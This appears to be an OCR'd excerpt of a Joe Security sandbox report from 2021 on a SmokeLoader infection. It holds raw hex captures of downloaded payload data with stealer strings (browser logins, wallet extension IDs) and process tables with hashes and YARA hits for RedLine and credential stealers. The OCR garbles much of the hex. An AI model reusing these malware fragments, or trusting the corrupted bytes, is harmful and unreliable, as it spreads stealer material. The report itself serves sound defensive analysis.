49 73 4c 6f 6f 70 62 61 63 6b 00 50 72 65 43 68 65 63 6b 00 45 6e 75 6d 43 6f 6f 6b 00 53 63 61 6€ 43 6f 6f 6b 00 50 72
65 73 65 6e 74 61 74 69 6f 6e 46 72 61 6d 65 77 6f 72 6b 00 75 70 64 61 74 65 54 61 73 6b 00 54 72 79 43 6f 6d 70 6C 65
74 6554 61 73 6b 00 41 6¢ 6¢ 6f 63 48 47 6¢ 6f 62 61 6¢ 00 46 72 65 65 48 47 6¢C 6f 62 61 6C 00 67 65 74 5f 4C 6f 63 61
6¢ 00 4d 61 72 73 68 61 6¢ 00 58 35 30 39 43 65 72 74 69 66
Data Ascii: ificateValidationCallbackget ServerCertificateValidationCallbackset_ServerCertificateValidationCallbackcallb
acklsLoopbackPreCheckEnumCookScanCookPresentationFrameworkupdateTaskTryCompleteTaskAllocHGlobalFreeH
Globalget_LocalMarshalX509Certif

2021-11-18 09:30:37 UTC 3300 IN Data Raw: 6f 6e 73 00 73 65 61 72 63 68 50 61 74 74 65 72 6e 73 00 70 61 74 74 65 72 6e 73 00 47 65 74 44 65 76 69 63
6543 61 70 73 00 47 65 74 43 61 70 73 00 66 74 70 73 00 67 65 74 5f 43 68 61 72 73 00 67 65 74 5f 4f 75 74 67 6f 69 6e
67 4d 65 73 73 61 67 65 48 65 61 64 65 72 73 00 54 72 79 49 6e 69 74 44 65 66 65 6e 64 65 72 73 00 64 65 66 65 6e 64
65 7273 00 73 63 61 6e 6e 65 72 73 00 52 75 6e 74 69 6d 65 48 65 6¢ 70 65 72 73 00 54 72 79 49 6e 69 74 49 6e 73 74
61 6¢ 6C 65 64 42 72 6f 77 73 65 72 73 00 69 6e 73 74 61 6C 6C 65 64 42 72 6f 77 73 65 72 73 00 47 65 74 42 72 6f 77 73
6572 73 00 54 72 79 49 6e 69 74 42 72 6f 77 73 65 72 73 00 62 72 6f 77 73 65 72 73 00 6¢ 6f 67 69 6 50 61 69 72 73 00
53 73 6¢ 50 6f 6¢ 69 63 79 45 72 72 6f 72 73 00 73 73 6¢ 50 6f
Data Ascii: onssearchPatternspatternsGetDeviceCapsGetCapsftpsget_Charsget_OutgoingMessageHeadersTryl
nitDefendersdefendersscannersRuntimeHelpersTrylnitinstalledBrowsersinstalledBrowsersGetBrowsersTrylnitBrowsers
browsersloginPairsSslIPolicyErrorsssiPo

2021-11-18 09:30:37 UTC 3304 IN Data Raw: 53 00 74 00 72 00 65 00 61 00 6d 00 00 57 42 00 43 00 72 00 46 00 69 00 6c 00 65 00 2e 00 52 00 65 00 61 00
64 00 79 00 70 00 74 00 44 00 65 00 73 00 46 00 69 00 6¢ 00 65 00 2e 00 52 00 65 00 61 00 64 00 74 00 72 00 6f 00 79
00 4b 00 46 00 69 00 6¢ 00 65 00 2e 00 52 00 65 00 61 00 64 00 65 00 79 00 00 13 46 00 69 00 6¢ 00 65 00 2e 00 52 00
65 00 61 00 64 00 00 59 42 00 43 00 46 00 69 00 6¢ 00 65 00 2e 00 4f 00 70 00 65 00 6e 00 72 00 79 00 70 00 74 00 47 O
065 00 46 00 69 00 6¢ 00 65 00 2e 00 4f 00 70 00 65 00 6e 00 74 00 50 00 72 00 6f 00 70 00 65 00 46 00 69 00 6¢ 00 65
00 2e 00 4f 00 70 00 65 00 6e 00 72 00 74 00 79 00 00 13 46 00 69 00 6¢ 00 65 00 2e 00 4f 00 70 00 65 00 6e 00 00 73 42
00 43 00 46 00 69 00 6¢ 00 65 00 2e 00 43 00 6¢ 00 6f 00 73 00 65
Data Ascii: StreamWBCrFile.ReadyptDesFile.ReadtroyKFile.ReadeyFile.ReadYBCFile.OpenryptGeFile.OpentPropeFile.O
penrtyFile.OpensBCFile.Close

2021-11-18 09:30:37 UTC 3309 IN Data Raw: 6¢ 00 61 00 63 00 65 00 00 05 38 00 30 00 00 05 38 00 31 00 00 Of 30 00 2e 00 30 00 2e 00 30 00 2e 00 30 00
0000 00 38 b6 3b 21 6d c3 a8 47 bf bc 20 82 74 93 8a 88 00 03 20 00 01 04 20 01 01 08 05 20 01 01 11 15 04 20 01 01
0e 0520 01 01 11 1d 03 20 00 02 07 15 12 35 01 12 81 00 04 20 00 13 00 03 20 00 1c 08 15 12 80 a5 01 12 81 00 08 20
00 15 12 3501 13 00 04 20 00 12 55 1d 07 09 15 12 2d 01 12 80 ¢8 15 12 35 01 Oe 15 11 39 01 Oe Oe 12 81 18 1280 c8 0
e 0e 0307 1512 2d 01 12 80 c8 06 15 12 49 02 Oe Oe 05 20 02 01 1c 18 19 10 02 02 15 12 80 a5 01 1e 01 15 12 80 a5 01
1le 00 15 12 49 02 1e 00 1e 01 04 Oa 02 Oe Oe 06 15 12 80 a5 01 Oe 05 15 12 35 01 Oe 02 06 Oe 05 20 02 Oe Oe Oe 05 15
12 2d 01 Oe 08 20 00 15 11 39 01 13 00 05 15 11 39 01 Oe 04 20 00 12
Data Ascii: lace80810.0.0.08;!/mGt 5 5U-59-115-99

2021-11-18 09:30:37 UTC 3313 IN Data Raw: 79 50 65 72 6d 69 73 73 69 6f 6e 41 74 74 72 69 62 75 74 65 2c 20 6d 73 63 6f 72 6¢ 69 62 2¢c 20 56 65 72 73
69 6f 6e 3d 34 2e 30 2e 30 2e 30 2c 20 43 75 6¢ 74 75 72 65 3d 6e 65 75 74 72 61 6¢ 2¢ 20 50 75 62 6¢ 69 63 4b 65 79
54 6f 6b 65 6e 3d 62 37 37 61 35 63 35 36 31 39 33 34 65 30 38 39 15 01 54 02 10 53 6b 69 70 56 65 72 69 66 69 63 61
74 69 6f 6e 01 01 15 04 06 12 80 b4 04 06 12 80 81 02 06 08 04 06 1d 12 38 06 06 15 12 2d 01 Oe 0d 06 15 12 80 a5 01 1
511 80 b1 02 Oe Oe 03 06 1d 05 02 06 Ob 03 06 1d Oe 05 06 1d 11 80 bc 05 06 1d 11 80 cO 04 06 11 81 08 04 06 12 80 e5
02 06 05 04 06 11 80 a0 02 06 02 09 06 15 12 80 a5 01 12 80 a8 02 06 0a 08 06 15 12 31 01 12 80 d4 08 06 15 12 31 01
1280 c4 08 06 15 12 31 01 12 80 d0 08 06 15 12 31 01 12 80 cc 04 06
Data Ascii: yPermissionAttribute, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKkeyToken=b77a5c561934e089T
SkipVerification8-1111

2021-11-18 09:30:37 UTC 3317 IN Data Raw: 00 61 00 45 00 6e 00 76 00 69 00 72 00 6f 00 6e 00 6d 00 65 00 6e 00 74 00 6d 00 69 00 6e 00 67 00 00 00 00
0041 00 70 00 70 00 44 00 61 00 74 00 61 00 5¢ 00 4c 00 6f 00 63 00 61 00 6¢ 00 5¢c 00 00 00 00 00 5b 00 5e 00 5¢ 00
7500 30 00 30 00 32 00 30 00 2d 00 5¢ 00 75 00 30 00 30 00 37 00 46 00 5d 00 55 00 4e 00 4b 00 4e 00 4f 00 57 00 4e
00 00 00 4c 00 6f 00 63 00 61 00 6¢ 00 20 00 53 00 74 00 61 00 74 00 65 00 00 00 50 00 72 00 6f 00 63 00 65 00 73 00 73
00 49 00 64 00 00 00 00 00 00 00 31 00 2a 00 2e 00 31 00 6¢ 00 31 00 64 00 31 00 62 00 00 00 00 00 00 00 50 00 72 00
6f 00 66 00 69 00 6¢ 00 65 00 5f 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 5f 00 76 00 61 00 6¢ 00 75 00
65 00 00 00 25 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 25 00
Data Ascii: aEnvironmentmingAppData\Local\[*"\u0020-\u007FJUNKNOWNLocal StateProcessld1*.111d1bProfile_encrypte
d_value%appdata%

2021-11-18 09:30:37 UTC 3320 IN Data Raw: 63 00 48 00 78 00 43 00 61 00 57 00 35 00 68 00 62 00 6d 00 4e 00 6¢ 00 51 00 32 00 68 00 68 00 61 00 57 00
3400 4b 00 62 00 32 00 52 00 69 00 5a 00 6e 00 42 00 6¢ 00 5a 00 57 00 6¢ 00 6f 00 5a 00 47 00 74 00 69 00 61 00 57
00 68 00 74 00 62 00 33 00 42 00 72 00 59 00 6d 00 70 00 74 00 62 00 32 00 39 00 75 00 5a 00 6d 00 46 00 75 00 62 00
47 00 4a 00 6d 00 59 00 32 00 78 00 38 00 51 00 6e 00 4a 00 68 00 64 00 6d 00 56 00 58 00 59 00 57 00 78 00 73 00 5a
00 58 00 51 00 4b 00 61 00 48 00 42 00 6e 00 62 00 47 00 5a 00 6f 00 5a 00 32 00 5a 00 75 00 61 00 47 00 4a 00 6e 00
63 00 47 00 70 00 6b 00 5a 00 57 00 35 00 71 00 5a 00 32 00 31 00 6b 00 5a 00 32 00 39 00 6¢ 00 61 00 57 00 46 00 77
00 63 00 47 00 46 00 6d 00 62 00 47 00 35 00 38 00 52 00 33 00 56 00 68
Data Ascii: cHxCaW5hbmNIQ2hhaW4Kb2RiZnBIZWIoZGtiaWhtb3BrYmptb29uZmFubGJImY2x8QnJhdmVXYWxsZX
QKaHBnbGZ0Z2ZuaGJIncGpkZW5qZ21kZ29laWFwcGFmbG58R3Vh

2021-11-18 09:30:37 UTC 3324 IN Data Raw: 20 20 20 20 20 3c 2f 72 65 71 75 65 73 74 65 64 50 72 69 76 69 6¢ 65 67 65 73 3e 0d Oa 20 20 20 20 3c 2f 73
6563 75 72 69 74 79 3e 0d 0a 20 20 3c 2f 74 72 75 73 74 49 6e 66 6f 3e 0d 0a 3c 2f 61 73 73 65 6d 62 6¢ 79 3e 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Data Ascii:  </requestedPrivileges> </security> </trustinfo></assembly>
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Statistics

Behavior

@ Click to jump to process

System Behavior

Analysis Process: X5ILjSzDd8.exe PID: 6476 Parent PID: 2868

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

10:29:12

18/11/2021
C:\Users\user\Desktop\X5ILjSzDd8.exe
true
"C:\Users\user\Desktop\X5ILjSzDd8.exe"
0x400000

342528 bytes
743F8FEC87EBF7C5D6B392261EC3988F
true

true

C, C++ or other language

Reputation: low
Analysis Process: X5ILjSzDd8.exe PID: 6684 Parent PID: 6476
General
Start time: 10:29:19
Start date: 18/11/2021
Path: C:\Users\user\Desktop\X5ILjSzDd8.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

true
"C:\Users\user\Desktop\X5ILjSzDd8.exe"
0x400000

342528 bytes
743F8FEC87EBF7C5D6B392261EC3988F
true

true

C, C++ or other language

e Rule: JoeSecurity_SmokelLoader_2, Description: Yara detected SmokeLoader, Source:
00000003.00000002.341140573.0000000002091000.00000004.00020000.sdmp, Author:

Joe Security

e Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source:
00000003.00000002.341021768.0000000000540000.00000004.00000001.sdmp, Author:

Joe Security

Reputation: low

Analysis Process: explorer.exe PID: 3292 Parent PID: 6684
General
Start time: 10:29:27
Start date: 18/11/2021
Path: C:\Windows\explorer.exe
Wow64 process (32bit): false
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Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

Yara matches:

Reputation:

C:\Windows\Explorer.EXE

0x7ff662bf0000

3933184 bytes
AD5296B280E8F522A8A897C96BABOE1D
true

true

C, C++ or other language

e Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source:
00000006.00000000.320895536.0000000002F91000.00000020.00020000.sdmp, Author:
Joe Security

high

File Activities

Show Windows behavior

File Created

File Deleted

File Written

Analysis Process: rfudbri PID: 5824 Parent PID: 1104

General

Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

10:30:09

18/11/2021
C:\Users\user\AppData\Roaming\rfudbri
true
C:\Users\user\AppData\Roaming\rfudbri
0x400000

342528 bytes
743F8FEC87EBF7C5D6B392261EC3988F
true

true

C, C++ or other language

Reputation: low
Analysis Process: BEE7.exe PID: 6768 Parent PID: 3292
General
Start time: 10:30:11
Start date: 18/11/2021
Path: C:\Users\user\AppData\Local\Temp\BEE7.exe
Wow64 process (32bit): true
Commandline: C:\Users\user~1\AppData\Loca\Temp\BEE7.exe
Imagebase: 0x400000
File size: 285184 bytes
MDS5 hash: 8EF1AE58E545946BACA2DBC17E135577

Has elevated privileges:

Has administrator privileges:

Programmed in:

true
true

C, C++ or other language

Reputation:

low

| Analysis Process: DA6F.exe PID: 6580 Parent PID: 3292
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General

Start time: 10:30:17

Start date: 18/11/2021

Path: C:\Users\user\AppData\Local\Temp\DA6F.exe
Wow64 process (32bit): true

Commandline: C:\Users\user~1\AppData\Local\Temp\DAG6F.exe
Imagebase: 0xce0000

File size: 2893312 bytes

MDS5 hash: D6F23ADF6D5B20A214640C56E570AB2E

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,

Source: 00000011.00000002.565633208.0000000003F96000.00000004.00000001.sdmp,
Author: Joe Security

Reputation: low

File Activities Show Windows behavior

File Created

File Read

Analysis Process: BEE7.exe PID: 1344 Parent PID: 6768

General

Start time: 10:30:20

Start date: 18/11/2021

Path: C:\Users\user\AppData\Local\Temp\BEE7.exe

Wow64 process (32bit): true

Commandline: C:\Users\user~1\AppData\Local\Temp\BEE7.exe

Imagebase: 0x400000

File size: 285184 bytes

MD5 hash: 8EF1AE58E545946BACA2DBC17E135577

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_SmokelLoader_2, Description: Yara detected SmokeLoader, Source:
00000012.00000002.416663548.0000000002410000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_SmokelLoader_2, Description: Yara detected SmokeLoader, Source:

00000012.00000002.416737725.0000000002431000.00000004.00020000.sdmp, Author:
Joe Security

Reputation: low

Analysis Process: ESE7.exe PID: 6908 Parent PID: 3292

General

Start time: 10:30:21

Start date: 18/11/2021

Path: C:\Users\user\AppData\Local\Temp\EBE7.exe

Wow64 process (32bit): true

Commandline: C:\Users\user~1\AppData\Local\Temp\E8SE7.exe

Imagebase: 0x750000

File size: 399360 bytes
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MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

5E34695CI9F46F1E69CE731D3B7359C88
true

true

.Net C# or VB.NET

e Rule: SUSP_Double_Base64_Encoded_Executable, Description: Detects an executable
that has been encoded with base64 twice, Source:
00000013.00000002.475010529.0000000003B4F000.00000004.00000001.sdmp, Author:
Florian Roth

e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000013.00000002.475010529.0000000003B4F000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: SUSP_Double_Base64_Encoded_Executable, Description: Detects an executable
that has been encoded with base64 twice, Source:
00000013.00000002.478488816.0000000003D03000.00000004.00000001.sdmp, Author:
Florian Roth

e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000013.00000002.478488816.0000000003D03000.00000004.00000001.sdmp, Author:

Joe Security
Reputation: moderate
File Activities Show Windows behavior
File Created
File Written
File Read
Analysis Process: rfudbri PID: 2016 Parent PID: 5824
General
Start time: 10:30:22
Start date: 18/11/2021
Path: C:\Users\user\AppData\Roaming\rfudbri

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

true
C:\Users\user\AppData\Roaming\rfudbri
0x400000

342528 bytes
743F8FEC87EBF7C5D6B392261EC3988F
true

true

C, C++ or other language

e Rule: JoeSecurity_SmokelLoader_2, Description: Yara detected SmokeLoader, Source:
00000014.00000002.430943063.0000000000680000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_SmokelLoader_2, Description: Yara detected SmokeLoader, Source:
00000014.00000002.431087130.00000000006A1000.00000004.00020000.sdmp, Author:

Joe Security
Reputation: low
Analysis Process: conhost.exe PID: 4580 Parent PID: 6908
General
Start time: 10:30:23
Start date: 18/11/2021
Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit):
Commandline:

Imagebase:
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File size: 625664 bytes

MDS5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Analysis Process: FB48.exe PID: 1804 Parent PID: 3292

General
Start time: 10:30:26
Start date: 18/11/2021
Path: C:\Users\user\AppData\Local\Temp\FB48.exe
Wow64 process (32bit): false
Commandline: C:\Users\user~1\AppData\Local\Temp\FB48.exe
Imagebase: 0x560000
File size: 189440 bytes
MD5 hash: 0198C5A612317A06F11ABBE95294408E
Has elevated privileges: true
Has administrator privileges: true
Programmed in: Net C# or VB.NET
Reputation: moderate
File Activities Show Windows behavior
File Created
File Read
Registry Activities Show Windows behavior

Analysis Process: ES8E7.exe PID: 3596 Parent PID: 6908

General

Start time: 10:30:33

Start date: 18/11/2021

Path: C:\Users\user\AppData\Local\Temp\EBE7.exe
Wow64 process (32bit): false

Commandline: C:\Users\user~1\AppData\Local\Temp\EBE7.exe
Imagebase: 0x110000

File size: 399360 bytes

MDS5 hash: 5E34695C9F46F1E69CE731D3B7359C88
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Analysis Process: 2D0D.exe PID: 4352 Parent PID: 3292

General

Start time: 10:30:34
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Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

18/11/2021
C:\Users\user\AppData\Local\Temp\2DOD.exe
true
C:\Users\user~1\AppData\Local\Temp\2D0D.exe
0x1210000

2897408 bytes
A77F1ED5881D44FC95BF3DA05C349385

true

true

.Net C# or VB.NET

e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,
Source:
0000001B.00000002.563047294.0000000004032000.00000004.00000001.sdmp, Author:
Joe Security

Reputation:

File Activities

File Created

File Read

low

Show Windows behavior

Analysis Process: ESE7.exe PID: 5480 Parent PID: 6908

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities
File Created

File Read

Disassembly

Copyright Joe Security LLC 2021

10:30:38

18/11/2021
C:\Users\user\AppData\Local\Temp\EBE7.exe
true
C:\Users\user~1\AppData\Local\Temp\EBE7.exe
0x470000

399360 bytes
5E34695C9F46F1E69CE731D3B7359C88
true

true

Net C# or VB.NET

e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
0000001C.00000000.456220625.0000000000402000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
0000001C.00000000.454280877.0000000000402000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
0000001C.00000002.522863537.0000000000402000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
0000001C.00000000.460712066.0000000000402000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
0000001C.00000000.458201711.0000000000402000.00000040.00000001.sdmp, Author:
Joe Security

moderate

Show Windows behavior
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